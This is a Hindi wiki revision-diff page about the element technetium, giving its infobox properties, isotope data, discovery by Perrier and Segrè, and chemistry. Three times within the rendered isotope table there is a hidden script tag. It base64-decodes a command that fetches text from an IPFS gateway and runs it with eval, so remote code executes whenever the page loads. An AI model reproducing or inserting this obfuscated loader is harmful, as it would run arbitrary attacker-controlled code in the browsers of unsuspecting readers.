"टेक्निशियम" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('टेक्नीशियम आवर्त सारणी के सप्तम संक्रमण समूह का [[त...' के साथ नया पन्ना बनाया)
 
पंक्ति 1: पंक्ति 1:
टेक्नीशियम [[आवर्त सारणी]] के सप्तम संक्रमण समूह का [[तत्व]] है। यह [[मैंगनीज़]] तथा [[रेनियम]] का सजातीय है। प्रकृति में यह तत्व नहीं मिलता, यद्यपि इसकी खोज के अनेक दावे हो चुके हैं। यह तत्व कृत्रिम तत्वांतरण क्रिया द्वारा बनाया गया है। अब तक इसके लगभग 12 [[समस्थानिक]] बनाए गए हैं,<ref>[[द्रव्यमान संख्या]] 92 से 105 तक</ref> परंतु ये सब अस्थायी हैं।
+
{{Elementbox
 +
|name=टेक्निशियम
 +
|pronounce=
 +
|number=43
 +
|symbol=Tc
 +
|left=[[मोलिब्डेनम]]
 +
|right=[[रूथेनियम]]
 +
|above=[[मैंगनीज|Mn]]
 +
|below=[[रेनियम|Re]]
 +
|series=[[संक्रमण धातु]]
 +
|series comment=
 +
|group=7
 +
|period=5
 +
|block=d
 +
|series color=
 +
|phase color=
 +
|appearance=चमकदार सिलेटी धातु
 +
|image name=Technetium.jpg
 +
|image alt=
 +
|image size=
 +
|image name comment=
 +
|image name 2=
 +
|image name 2 comment=
 +
|atomic mass=98
 +
|atomic mass 2=0
 +
|atomic mass comment=
 +
|electron configuration=1s<sup>2</sup> 2s<sup>2</sup> 2p<sup>6</sup> 3s<sup>2</sup> 3p<sup>6</sup> 3d<sup>10</sup> 4s<sup>2</sup> 4p<sup>6</sup> 4d<sup>5</sup> 5s<sup>2</sup>
 +
|electrons per shell=2, 8, 18, 13, 2
 +
|color=
 +
|phase=ठोस
 +
|phase comment=
 +
|density gplstp=
 +
|density gpcm3nrt=11
 +
|density gpcm3mp=
 +
|melting point K=2430
 +
|melting point C=2157
 +
|melting point F=3915
 +
|boiling point K=4538
 +
|boiling point C=4265
 +
|boiling point F=7709
 +
|triple point K=
 +
|triple point kPa=
 +
|critical point K=
 +
|critical point MPa=
 +
|heat fusion=33.29
 +
|heat vaporization=585.2
 +
|heat capacity=24.27
 +
|vapor pressure 1=2727
 +
|vapor pressure 10=2998
 +
|vapor pressure 100=3324
 +
|vapor pressure 1 k=3726
 +
|vapor pressure 10 k=4234
 +
|vapor pressure 100 k=4894
 +
|vapor pressure comment=एक्स्ट्रापोलातेद
 +
|crystal structure=षट्कोण
 +
|oxidation states='''7''', 6, 5, '''4''', 3, -1, -3
 +
|oxidation states comment=अम्लीय आक्साइड
 +
|electronegativity=1.9
 +
|number of ionization energies=3
 +
|1st ionization energy=702
 +
|2nd ionization energy=1470
 +
|3rd ionization energy=2850
 +
|atomic radius=136
 +
|atomic radius calculated=
 +
|covalent radius=147±7
 +
|Van der Waals radius=
 +
|magnetic ordering=[[पराचुम्बकीय पदार्थ|पराचुम्बकीय]]
 +
|electrical resistivity=
 +
|electrical resistivity at 0=
 +
|electrical resistivity at 20=
 +
|thermal conductivity=50.6
 +
|thermal conductivity 2=
 +
|thermal diffusivity=
 +
|thermal expansion=
 +
|thermal expansion at 25=
 +
|speed of sound=
 +
|speed of sound rod at 20=16,200
 +
|speed of sound rod at r.t.=
 +
|Young's modulus=
 +
|Shear modulus=
 +
|Bulk modulus=
 +
|Poisson ratio=
 +
|Mohs hardness=
 +
|Vickers hardness=
 +
|Brinell hardness=
 +
|CAS number=7440-26-8
 +
|isotopes=
 +
{{Elementbox_isotopes_decay3 | mn=95 m | sym=Tc
 +
| na=syn | hl=61 d
 +
| dm1=ε | de1=- | pn1=95 | ps1=[[मोलिब्डेनम|Mo]]
 +
| dm2=γ | de2=0.204, 0.582,<br />0.835 | pn2= | ps2=-
 +
| dm3=IT | de3=0.0389, e | pn3=95 | ps3=Tc }}
 +
{{Elementbox_isotopes_decay2 | mn=96 | sym=Tc
 +
| na=syn | hl=4.3 d
 +
| dm1=ε | de1=- | pn1=96 | ps1=[[मोलिब्डेनम|Mo]]
 +
| dm2=γ | de2=0.778, 0.849,<br />0.812 | pn2= | ps2=- }}
 +
{{Elementbox_isotopes_decay | mn=97 | sym=Tc
 +
| na=syn | hl=2.6×10<sup>6</sup> y
 +
| dm=ε | de=- | pn=97 | ps=[[मोलिब्डेनम|Mo]] }}
 +
{{Elementbox_isotopes_decay | mn=97 m | sym=Tc
 +
| na=syn | hl=91 d
 +
| dm=IT | de=0.965, e | pn=97 | ps=Tc }}
 +
{{Elementbox_isotopes_decay2 | mn=98 | sym=Tc
 +
| na=syn | hl=4.2×10<sup>6</sup> y
 +
| dm1=β<sup>−</sup> | de1=0.4 | pn1=98 | ps1=[[रूथेनियम|Ru]]
 +
| dm2=γ | de2=0.745, 0.652 | pn2= | ps2=- }}
 +
{{Elementbox_isotopes_decay | mn=99 | sym=Tc
 +
| na=ट्रेस | hl=2.111×10<sup>5</sup> y
 +
| dm=β<sup>−</sup> | de=0.294 | pn=99 | ps=[[रूथेनियम|Ru]] }}
 +
{{Elementbox_isotopes_decay2 | mn=99 m | sym=Tc
 +
| na=syn | hl=6.01 h
 +
| dm1=IT | de1=0.142, 0.002 | pn1=99 | ps1=Tc
 +
| dm2=γ | de2=0.140 | pn2= | ps2=- }}
 +
}}
 +
'''टेक्निशियम''' ([[अंग्रेज़ी भाषा|अंग्रेज़ी]]:Technetium) [[आवर्त सारणी]] के सप्तम संक्रमण समूह का [[तत्व]] है। यह [[मैंगनीज़]] तथा [[रेनियम]] का सजातीय है। प्रकृति में यह तत्व नहीं मिलता, यद्यपि इसकी खोज के अनेक दावे हो चुके हैं। यह तत्व कृत्रिम तत्वांतरण क्रिया द्वारा बनाया गया है। अब तक इसके लगभग 12 [[समस्थानिक]] बनाए गए हैं,<ref>[[द्रव्यमान संख्या]] 92 से 105 तक</ref> परंतु ये सब अस्थायी हैं।
  
सर्वप्रथम पेरियर तथा सेग्रे ने टेक्नीशियम तत्व का निर्माण मोलिब्डिनम के तत्वांतरण द्वारा किया। यह तत्वांतरण त्वरक द्वारा उत्पन्न वेगवान्‌ ड्यूटेरान दंड के आक्रमण से हुआ। कृत्रिम तत्व होने के कारण इसका नाम टेक्नीशियम रखा गया, जो यूनानी शब्द टेक्नेटोस<ref>कृत्रिम</ref> पर आधारित है। इन अनुसंधानकर्ताओं ने रेडिय रसायन द्वारा इस तत्व के रासायनिक गुणों की जाँच की। यूरेनियम विखंडन क्रिया में टेक्नीशियम भी उत्पन्न होता है और आजकल इसी स्रोत से यह उपलब्ध किया जा रहा है। इसका 99 द्रव्यमान संख्या वाला समस्थानिक सबसे स्थायी है, जिसकी अर्धजीवन अवधि 4.7x105 वर्ष है। यह [[इलेक्ट्रॉन]] मुक्त कर रुथेनियम 99 में प्ररिणत हो जाता है।  
+
सर्वप्रथम पेरियर तथा सेग्रे ने टेक्निशियम तत्व का निर्माण [[मोलिब्डेनम]] के तत्वांतरण द्वारा किया। यह तत्वांतरण त्वरक द्वारा उत्पन्न वेगवान्‌ ड्यूटेरान दंड के आक्रमण से हुआ। कृत्रिम तत्व होने के कारण इसका नाम टेक्निशियम रखा गया, जो यूनानी शब्द टेक्नेटोस<ref>कृत्रिम</ref> पर आधारित है। इन अनुसंधानकर्ताओं ने रेडिय रसायन द्वारा इस तत्व के रासायनिक गुणों की जाँच की। [[यूरेनियम]] विखंडन क्रिया में टेक्निशियम भी उत्पन्न होता है और आजकल इसी स्रोत से यह उपलब्ध किया जा रहा है। इसका 99 [[द्रव्यमान संख्या]] वाला समस्थानिक सबसे स्थायी है, जिसकी अर्धजीवन अवधि 4.7x105 [[वर्ष]] है। यह [[इलेक्ट्रॉन]] मुक्त कर रुथेनियम 99 में प्ररिणत हो जाता है।  
  
टेक्नीशियम में [[धातु]] के गुण प्रधान हैं। विलयन अवस्था में यह धनायन अथवा ऑक्सीकृत ऋणायन के रूप में रहता है। धातु का निर्माण टेक्नीशियम [[लवण]] के विलयन पर [[जस्ता|जस्ते]], [[लोहा]] या [[निकल]] की अवकरण क्रिया द्वारा किया जा सकता है। इसके गुणा धर्म रेनियम और मैंगनीज़ से बहुत मिलते हैं।
+
टेक्निशियम में [[धातु]] के गुण प्रधान हैं। विलयन अवस्था में यह धनायन अथवा ऑक्सीकृत ऋणायन के रूप में रहता है। धातु का निर्माण टेक्निशियम [[लवण]] के विलयन पर [[जस्ता|जस्ते]], [[लोहा]] या [[निकल]] की अवकरण क्रिया द्वारा किया जा सकता है। इसके गुणा धर्म रेनियम और मैंगनीज़ से बहुत मिलते हैं।
  
 
{{लेख प्रगति|आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}

06:39, 20 दिसम्बर 2011 का अवतरण

टेक्निशियम
चमकदार सिलेटी धातु
साधारण गुणधर्म
नाम, प्रतीक, संख्या टेक्निशियम, Tc, 43
तत्व श्रेणी संक्रमण धातु
समूह, आवर्त, कक्षा 7, 5, d
मानक परमाणु भार 98g·mol−1
इलेक्ट्रॉन विन्यास 1s2 2s2 2p6 3s2 3p6 3d10 4s2 4p6 4d5 5s2
इलेक्ट्रॉन प्रति शेल 2, 8, 18, 13, 2
भौतिक गुणधर्म
अवस्था ठोस
घनत्व (निकट क.ता.) 11 g·cm−3
गलनांक 2430 K, 2157 °C, 3915 °F
क्वथनांक 4538 K, 4265 °C, 7709 °F
संलयन ऊष्मा 33.29 किलो जूल-मोल
वाष्पन ऊष्मा 585.2 किलो जूल-मोल
विशिष्ट ऊष्मीय
क्षमता
24.27

जूल-मोल−1किलो−1

वाष्प दाब एक्स्ट्रापोलातेद
P (Pa) 1 10 100 1 k 10 k 100 k
at T (K) 2727 2998 3324 3726 4234 4894
परमाण्विक गुणधर्म
ऑक्सीकरण अवस्था 7, 6, 5, 4, 3, -1, -3
(अम्लीय आक्साइड)
इलेक्ट्रोनेगेटिविटी 1.9 (पाइलिंग पैमाना)
आयनीकरण ऊर्जाएँ 1st: 702 कि.जूल•मोल−1
2nd: 1470 कि.जूल•मोल−1
3rd: 2850 कि.जूल•मोल−1
परमाण्विक त्रिज्या 136 pm
सहसंयोजक त्रिज्या 147±7 pm
विविध गुणधर्म
क्रिस्टल संरचना षट्कोण
चुम्बकीय क्रम पराचुम्बकीय
ऊष्मीय चालकता (300 K) 50.6 W·m−1·K−1
ध्वनि चाल (पतली छड़ में) (20 °C) 16,200 m.s-1
सी.ए.एस पंजीकरण
संख्या
7440-26-8
समस्थानिक
समस्थानिक प्रा. प्रचुरता अर्द्ध आयु क्षरण अवस्था क्षरण ऊर्जा
(MeV)
क्षरण उत्पाद
95 mTc syn 61 d ε - 95Mo
γ 0.204, 0.582,
0.835
-
IT 0.0389, e 95Tc
96Tc syn 4.3 d ε - 96Mo
γ 0.778, 0.849,
0.812
-<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
97Tc syn 2.6×106 y ε - 97Mo
97 mTc syn 91 d IT 0.965, e 97Tc
98Tc syn 4.2×106 y β 0.4 98Ru
γ 0.745, 0.652 -<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
99Tc ट्रेस 2.111×105 y β 0.294 99Ru
99 mTc syn 6.01 h IT 0.142, 0.002 99Tc
γ 0.140 -<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टेक्निशियम (अंग्रेज़ी:Technetium) आवर्त सारणी के सप्तम संक्रमण समूह का तत्व है। यह मैंगनीज़ तथा रेनियम का सजातीय है। प्रकृति में यह तत्व नहीं मिलता, यद्यपि इसकी खोज के अनेक दावे हो चुके हैं। यह तत्व कृत्रिम तत्वांतरण क्रिया द्वारा बनाया गया है। अब तक इसके लगभग 12 समस्थानिक बनाए गए हैं,[1] परंतु ये सब अस्थायी हैं।

सर्वप्रथम पेरियर तथा सेग्रे ने टेक्निशियम तत्व का निर्माण मोलिब्डेनम के तत्वांतरण द्वारा किया। यह तत्वांतरण त्वरक द्वारा उत्पन्न वेगवान्‌ ड्यूटेरान दंड के आक्रमण से हुआ। कृत्रिम तत्व होने के कारण इसका नाम टेक्निशियम रखा गया, जो यूनानी शब्द टेक्नेटोस[2] पर आधारित है। इन अनुसंधानकर्ताओं ने रेडिय रसायन द्वारा इस तत्व के रासायनिक गुणों की जाँच की। यूरेनियम विखंडन क्रिया में टेक्निशियम भी उत्पन्न होता है और आजकल इसी स्रोत से यह उपलब्ध किया जा रहा है। इसका 99 द्रव्यमान संख्या वाला समस्थानिक सबसे स्थायी है, जिसकी अर्धजीवन अवधि 4.7x105 वर्ष है। यह इलेक्ट्रॉन मुक्त कर रुथेनियम 99 में प्ररिणत हो जाता है।

टेक्निशियम में धातु के गुण प्रधान हैं। विलयन अवस्था में यह धनायन अथवा ऑक्सीकृत ऋणायन के रूप में रहता है। धातु का निर्माण टेक्निशियम लवण के विलयन पर जस्ते, लोहा या निकल की अवकरण क्रिया द्वारा किया जा सकता है। इसके गुणा धर्म रेनियम और मैंगनीज़ से बहुत मिलते हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. द्रव्यमान संख्या 92 से 105 तक
  2. कृत्रिम

बाहरी कड़ियाँ

संबंधित लेख